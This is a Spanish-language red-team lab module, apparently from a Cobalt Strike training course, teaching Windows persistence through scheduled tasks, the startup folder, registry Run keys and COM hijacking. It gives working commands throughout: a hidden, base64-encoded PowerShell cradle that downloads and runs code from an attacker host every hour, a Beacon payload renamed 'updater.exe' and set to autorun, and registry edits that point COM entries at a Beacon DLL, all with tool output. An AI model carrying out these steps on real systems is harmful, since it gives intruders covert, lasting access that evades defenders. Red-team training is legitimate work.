Host Persistence
Host Persistence
La persistencia es un método para recuperar o mantener acceso a una máquina comprometida, sin tener que explotar nuevamente los pasos iniciales de compromiso. Las estaciones de trabajo son volátiles, ya que los usuarios tienden a cerrar sesión o reiniciarlas con frecuencia.
Si has obtenido acceso inicial mediante una campaña de phishing, es poco probable que puedas hacerlo nuevamente si pierdes tu Beacon actual, lo que podría significar el fin del compromiso. Si estás en un escenario de assume-breach (o de hecho en este laboratorio) y tienes acceso a un host interno, la pérdida completa de acceso al entorno es menos preocupante. Sin embargo, es posible que aún necesites desplegar uno o más mecanismos de persistencia en los hosts que controlas si tu amenaza simulada también lo haría.
Instalar persistencia generalmente implica realizar algún cambio en la configuración o dejar caer un payload en el disco, lo cual puede conllevar un alto riesgo de detección, pero también son muy útiles (y prácticamente esenciales) durante compromisos a largo plazo. Debes encontrar un equilibrio delicado entre mantener la operación en marcha y ser detectado.
La persistencia puede ejecutarse en userland (por ejemplo, como el usuario actual) o en un contexto elevado como SYSTEM. La persistencia elevada requiere que primero nos convirtamos en administrador local en el host, lo cual se cubre en la sección de Privilege Escalation que viene a continuación.
Métodos comunes de persistencia en userland incluyen:
- HKCU / HKLM Registry Autoruns
- Scheduled Tasks
- Startup Folder
Cobalt Strike no incluye ningún comando integrado específicamente para persistencia. SharPersist es un toolkit de persistencia en Windows desarrollado por FireEye. Está escrito en C#, por lo que puede ejecutarse mediante execute-assembly.
Task Scheduler
El Task Scheduler de Windows nos permite crear "tasks" que se ejecutan en un desencadenador predefinido. Ese desencadenador podría ser una hora específica del día, al iniciar sesión un usuario, cuando la computadora queda inactiva, cuando se bloquea la computadora o una combinación de estos.
Vamos a crear una tarea programada que ejecute un payload de PowerShell una vez cada hora. Para ahorrarnos tener que lidiar con muchas comillas en el IEX cradle, podemos codificarlo en base64 y ejecutarlo usando el parámetro -EncodedCommand en PowerShell (a menudo abreviado como -enc). Esto es un poco complicado de hacer, porque debe usar codificación Unicode (en lugar de UTF8 o ASCII).
En PowerShell:
PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
En Linux:
ubuntu@DESKTOP-3BSK7NO ~> set str 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
ubuntu@DESKTOP-3BSK7NO ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly
[*] INFO: Adding scheduled task persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: Scheduled Task Name: Updater
[*] INFO: Option: hourly
[+] SUCCESS: Scheduled task added
Donde:
-tes la técnica de persistencia deseada.-ces el comando a ejecutar.-ason los argumentos para ese comando.-nes el nombre de la tarea.-mes para agregar la tarea (también puedes usarremove,checkylist).-oes la frecuencia de la tarea.
En la consola de Workstation 2, abre el Task Scheduler y selecciona Task Scheduler Library en el menú de la izquierda. Deberías ver tu tarea aparecer en la ventana principal. Por supuesto, puedes esperar una hora o simplemente seleccionar la tarea y hacer clic en Run en el menú de Actions a la derecha. Esto debería generar otro Beacon.
Startup Folder
Las aplicaciones, archivos y accesos directos dentro de la carpeta de inicio de un usuario se ejecutan automáticamente cuando este inicia sesión por primera vez. Comúnmente se utiliza para configurar el entorno inicial del usuario (establecer fondos de pantalla, accesos directos, etc.).
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add
[*] INFO: Adding startup folder persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: File Name: UserEnvSetup
[+] SUCCESS: Startup folder persistence created
[*] INFO: LNK File located at: C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk
[*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1F0DA3FF444D9B7244C41370B88061472933B2607A169BC
Donde:
-fes el nombre del archivo para guardar.
Usa la consola de Workstation 2 para verificar C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ para el archivo que fue colocado. Para simular un cierre de sesión e inicio de sesión a través de Guacamole, haz clic derecho en el icono de inicio de Windows y selecciona Shut down or sign out > Sign out. Guacamole entonces te dará las opciones de reconnect o logout. Selecciona reconnect y te volverá a iniciar sesión.
Registry AutoRun
Los valores de AutoRun en HKCU y HKLM permiten que las aplicaciones se inicien al arrancar el sistema. Es común verlos utilizados para iniciar aplicaciones nativas y de terceros, como actualizadores de software, asistentes de descarga, utilidades de controladores, entre otros.
beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add
[*] INFO: Adding registry persistence
[*] INFO: Command: C:\ProgramData\Updater.exe
[*] INFO: Command Args: /q /n
[*] INFO: Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[*] INFO: Registry Value: Updater
[*] INFO: Option:
[+] SUCCESS: Registry persistence added
Donde:
-kes la clave del registro a modificar.-ves el nombre de la clave del registro a crear.
Como antes, puedes probar esto reiniciando la VM.
Info
Es un error común pensar que un autorun en HKLM ejecutará el payload como SYSTEM, pero este no es el caso. Un autorun en HKCU solo se activará cuando el propietario del hive inicie sesión en la máquina. Un autorun en HKLM se activará cuando cualquier usuario inicie sesión en la máquina, pero aún así se ejecutará bajo el contexto de la cuenta del usuario.
Hunting for COM Hijacks
En lugar de secuestrar objetos COM que están en uso y romper aplicaciones que dependen de ellos, una estrategia más segura es encontrar instancias de aplicaciones que intenten cargar objetos que en realidad no existen (llaves "abandonadas"). Process Monitor es parte del excelente Sysinternals Suite. Muestra en tiempo real la actividad del sistema de archivos, el registro y los procesos, y es muy útil para encontrar diferentes tipos de primitivas de escalación de privilegios.
Es más sencillo buscar secuestros en tu propia máquina primero y luego implementarlos en el objetivo real. Inicia procmon64.exe en el Escritorio del Atacante.
Debido a la gran cantidad de eventos generados, el filtrado es esencial para encontrar los que nos interesan. Estamos buscando:
- Operaciones RegOpenKey.
- Donde el Resultado sea NAME NOT FOUND.
- Y la Ruta termine en InprocServer32.
Para acelerar la recopilación, puedes hacer clic en cosas al azar, entrar al menú de Windows, lanzar aplicaciones, etc. Después de un minuto más o menos, tengo ~500 eventos. La mayoría provienen de Explorer, algunos de software de terceros y otros de componentes del sistema operativo.
Un aspecto a tener en cuenta es el número de veces que se carga un CLSID en particular. Si secuestras uno que se carga cada par de segundos, vas a tener un mal rato, así que vale la pena el esfuerzo adicional para encontrar uno que se cargue semi-frecuentemente pero no tan seguido, o que se cargue cuando se abre una aplicación comúnmente utilizada (Word, Excel, Outlook, etc).
Al desplazarse, seleccioné este CLSID que está siendo cargado por C:\Windows\System32\DllHost.exe.
HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32
Podemos usar un PowerShell rápido para mostrar que la entrada existe en HKLM, pero no en HKCU.
PS C:\Users\Attacker> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\System32\thumbcache.dll
ThreadingModel : Apartment
PS C:\Users\Attacker> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32' because it does not exist.
Para explotarlo, podemos crear las entradas de registro necesarias en HKCU y apuntarlas a un Beacon DLL. Dado que esto sigue estando en nuestra máquina atacante, lo apuntaremos directamente a C:\Payloads\http_x64.dll.
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Cuando DllHost.exe carga esta entrada COM, obtenemos un Beacon.
Para limpiar un secuestro COM, simplemente elimina las entradas del registro de HKCU y borra el DLL.
Otro gran lugar para buscar componentes COM secuestrables es en el Task Scheduler. En lugar de ejecutar binarios en disco, muchas de las tareas predeterminadas de Windows utilizan Custom Triggers para llamar objetos COM. Y debido a que se ejecutan a través del Task Scheduler, es más fácil predecir cuándo serán activadas. Podemos usar el siguiente PowerShell para encontrar tareas compatibles.
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
if ($Task.Principal.GroupId -eq "Users")
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
Este script es bastante autoexplicativo y debería producir una salida similar a la siguiente:
Task Name: SystemSoundsService
Task Path: \Microsoft\Windows\Multimedia\
CLSID: {2DEA658F-54C1-4227-AF9B-260AB5FC3543}
Task Name: MsCtfMonitor
Task Path: \Microsoft\Windows\TextServicesFramework\
CLSID: {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}
Task Name: Calibration Loader
Task Path: \Microsoft\Windows\WindowsColorSystem\
CLSID: {B210D694-C8DF-490D-9576-9E20CDBC20BD}
Task Name: CacheTask
Task Path: \Microsoft\Windows\Wininet\
CLSID: {0358B920-0AC7-461F-98F4-58E32CD89148}
Si vemos la tarea MsCtfMonitor en el Task Scheduler, podemos observar que se activa cuando cualquier usuario inicia sesión. Esto actuaría como una persistencia efectiva tras reinicios.
Consulta la implementación actual de {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} en HKEY_CLASSES_ROOT\CLSID.
PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\MsCtfMonitor.dll
ThreadingModel : Both
Podemos ver que es otro InprocServer32 y podemos verificar que actualmente está implementado en HKLM y no en HKCU.
PS C:\> Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Ahora simplemente se trata de agregar una entrada duplicada en HKCU apuntando a nuestro DLL (como arriba), y esto será cargado cada vez que un usuario inicie sesión.



